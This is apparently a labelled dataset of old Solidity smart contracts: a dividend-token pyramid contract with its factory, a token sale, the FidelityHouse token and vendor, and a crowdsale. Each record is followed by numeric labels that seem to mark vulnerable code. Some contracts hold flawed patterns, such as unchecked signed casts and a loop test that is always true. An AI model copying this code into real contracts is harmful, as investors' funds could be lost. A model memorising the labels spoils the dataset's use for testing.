var numEthers = numEthersBeforeFee - fee;
totalSupply = sub(totalSupply, amount);
tokenBalance[msg.sender] = sub(tokenBalance[msg.sender], amount);
var payoutDiff = (int256) (earningsPerToken * amount + (numEthers * scaleFactor));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
if (totalSupply > 0) {
var etherFee = fee * scaleFactor;
var rewardPerShare = etherFee / totalSupply;
earningsPerToken = add(earningsPerToken, rewardPerShare);
}
}
function reserve() internal constant returns (uint256 amount) {
return sub(balance(),
((uint256) ((int256) (earningsPerToken * totalSupply) - totalPayouts) / scaleFactor));
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
var reserveAmount = reserve();
if (tokens == totalSupply)
return reserveAmount;
return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n));
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function () payable public {
if (msg.value > 0) {
fund();
} else {
withdrawOld(msg.sender);
}
}
}
contract Factory {
address admin;
mapping (address => address) contractPurchaseRecord;
function Factory() public {
admin = msg.sender;
}
function withdrawETH() external {
require(msg.sender == admin);
admin.transfer(this.balance);
}
function deployContract() external {
require(contractPurchaseRecord[msg.sender] == address(0));
EthPyramid pyramid = new EthPyramid(address(this));
contractPurchaseRecord[msg.sender] = address(pyramid);
}
function checkContractAddress(address creator) external view returns(address) {
return contractPurchaseRecord[creator];
}
function() external payable {
admin.transfer(msg.value);
}
} | 1 | 3,993 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ShareTokenSale is Ownable {
using SafeMath for uint256;
ERC20 public token;
address public receiverAddr;
uint256 public totalSaleAmount;
uint256 public totalWannaBuyAmount;
uint256 public startTime;
uint256 public endTime;
uint256 public userWithdrawalStartTime;
uint256 public clearStartTime;
uint256 public withdrawn;
uint256 public proportion = 1 ether;
mapping(uint256 => uint256) public globalAmounts;
struct Stage {
uint256 rate;
uint256 duration;
uint256 startTime;
}
Stage[] public stages;
struct PurchaserInfo {
bool withdrew;
bool recorded;
mapping(uint256 => uint256) amounts;
}
mapping(address => PurchaserInfo) public purchaserMapping;
address[] public purchaserList;
modifier onlyOpenTime {
require(isStarted());
require(!isEnded());
_;
}
modifier onlyAutoWithdrawalTime {
require(isEnded());
_;
}
modifier onlyUserWithdrawalTime {
require(isUserWithdrawalTime());
_;
}
modifier purchasersAllWithdrawn {
require(withdrawn==purchaserList.length);
_;
}
modifier onlyClearTime {
require(isClearTime());
_;
}
function ShareTokenSale(address _receiverAddr, address _tokenAddr, uint256 _totalSaleAmount, uint256 _startTime) public {
require(_receiverAddr != address(0));
require(_tokenAddr != address(0));
require(_totalSaleAmount > 0);
require(_startTime > 0);
receiverAddr = _receiverAddr;
token = ERC20(_tokenAddr);
totalSaleAmount = _totalSaleAmount;
startTime = _startTime;
}
function isStarted() public view returns(bool) {
return 0 < startTime && startTime <= now && endTime != 0;
}
function isEnded() public view returns(bool) {
return now > endTime;
}
function isUserWithdrawalTime() public view returns(bool) {
return now > userWithdrawalStartTime;
}
function isClearTime() public view returns(bool) {
return now > clearStartTime;
}
function startSale(uint256[] rates, uint256[] durations, uint256 userWithdrawalDelaySec, uint256 clearDelaySec) public onlyOwner {
require(endTime == 0);
require(durations.length == rates.length);
delete stages;
endTime = startTime;
for (uint256 i = 0; i < durations.length; i++) {
uint256 rate = rates[i];
uint256 duration = durations[i];
stages.push(Stage({rate: rate, duration: duration, startTime:endTime}));
endTime = endTime.add(duration);
}
userWithdrawalStartTime = endTime.add(userWithdrawalDelaySec);
clearStartTime = endTime.add(clearDelaySec);
}
function getCurrentStage() public onlyOpenTime view returns(uint256) {
for (uint256 i = stages.length - 1; i >= 0; i--) {
if (now >= stages[i].startTime) {
return i;
}
}
revert();
}
function getPurchaserCount() public view returns(uint256) {
return purchaserList.length;
}
function _calcProportion() internal {
if (totalWannaBuyAmount == 0 || totalSaleAmount >= totalWannaBuyAmount) {
proportion = 1 ether;
return;
}
proportion = totalSaleAmount.mul(1 ether).div(totalWannaBuyAmount);
}
function getSaleInfo(address purchaser) public view returns (uint256, uint256, uint256) {
PurchaserInfo storage pi = purchaserMapping[purchaser];
uint256 sendEther = 0;
uint256 usedEther = 0;
uint256 getToken = 0;
for (uint256 i = 0; i < stages.length; i++) {
sendEther = sendEther.add(pi.amounts[i]);
uint256 stageUsedEther = pi.amounts[i].mul(proportion).div(1 ether);
uint256 stageGetToken = stageUsedEther.mul(stages[i].rate);
if (stageGetToken > 0) {
getToken = getToken.add(stageGetToken);
usedEther = usedEther.add(stageUsedEther);
}
}
return (sendEther, usedEther, getToken);
}
function () payable public {
buy();
}
function buy() payable public onlyOpenTime {
require(msg.value >= 0.1 ether);
uint256 stageIndex = getCurrentStage();
uint256 amount = msg.value;
PurchaserInfo storage pi = purchaserMapping[msg.sender];
if (!pi.recorded) {
pi.recorded = true;
purchaserList.push(msg.sender);
}
pi.amounts[stageIndex] = pi.amounts[stageIndex].add(amount);
globalAmounts[stageIndex] = globalAmounts[stageIndex].add(amount);
totalWannaBuyAmount = totalWannaBuyAmount.add(amount.mul(stages[stageIndex].rate));
_calcProportion();
}
function _withdrawal(address purchaser) internal {
require(purchaser != 0x0);
PurchaserInfo storage pi = purchaserMapping[purchaser];
if (pi.withdrew) {
return;
}
pi.withdrew = true;
withdrawn = withdrawn.add(1);
var (sendEther, usedEther, getToken) = getSaleInfo(purchaser);
if (usedEther > 0 && getToken > 0) {
receiverAddr.transfer(usedEther);
token.transfer(purchaser, getToken);
if (sendEther.sub(usedEther) > 0) {
purchaser.transfer(sendEther.sub(usedEther));
}
} else {
purchaser.transfer(sendEther);
}
return;
}
function withdrawal() payable public onlyUserWithdrawalTime {
_withdrawal(msg.sender);
}
function withdrawalFor(uint256 index, uint256 stop) payable public onlyAutoWithdrawalTime onlyOwner {
for (; index < stop; index++) {
_withdrawal(purchaserList[index]);
}
}
function clear(uint256 tokenAmount, uint256 etherAmount) payable public purchasersAllWithdrawn onlyClearTime onlyOwner {
if (tokenAmount > 0) {
token.transfer(receiverAddr, tokenAmount);
}
if (etherAmount > 0) {
receiverAddr.transfer(etherAmount);
}
}
} | 0 | 1,076 |
pragma solidity ^0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract FidelityHouseToken is DetailedERC20, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
uint256 public lockedUntil;
mapping(address => uint256) internal lockedBalances;
modifier canTransfer(address _from, uint256 _value) {
require(
mintingFinished,
"Minting should be finished before transfer."
);
require(
_value <= balances[_from].sub(lockedBalanceOf(_from)),
"Can't transfer more than unlocked tokens"
);
_;
}
constructor(uint256 _lockedUntil)
DetailedERC20("FidelityHouse Token", "FIH", 18)
public
{
lockedUntil = _lockedUntil;
}
function lockedBalanceOf(address _owner) public view returns (uint256) {
return block.timestamp <= lockedUntil ? lockedBalances[_owner] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
}
contract FidelityHouseVendor is TokenRecover {
using SafeMath for uint256;
mapping (address => uint256) public sentTokens;
FidelityHouseToken public token;
constructor(address _token) public {
require(
_token != address(0),
"Token shouldn't be the zero address."
);
token = FidelityHouseToken(_token);
}
function multiSend(
address[] _addresses,
uint256[] _amounts
)
external
onlyOwner
{
require(
_addresses.length > 0,
"Addresses array shouldn't be empty."
);
require(
_amounts.length > 0,
"Amounts array shouldn't be empty."
);
require(
_addresses.length == _amounts.length,
"Addresses and amounts arrays should have the same length."
);
uint len = _addresses.length;
for (uint i = 0; i < len; i++) {
address _beneficiary = _addresses[i];
uint256 _tokenAmount = _amounts[i];
if (sentTokens[_beneficiary] == 0) {
sentTokens[_beneficiary] = _tokenAmount;
token.mintAndLock(_beneficiary, _tokenAmount);
}
}
}
} | 0 | 878 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
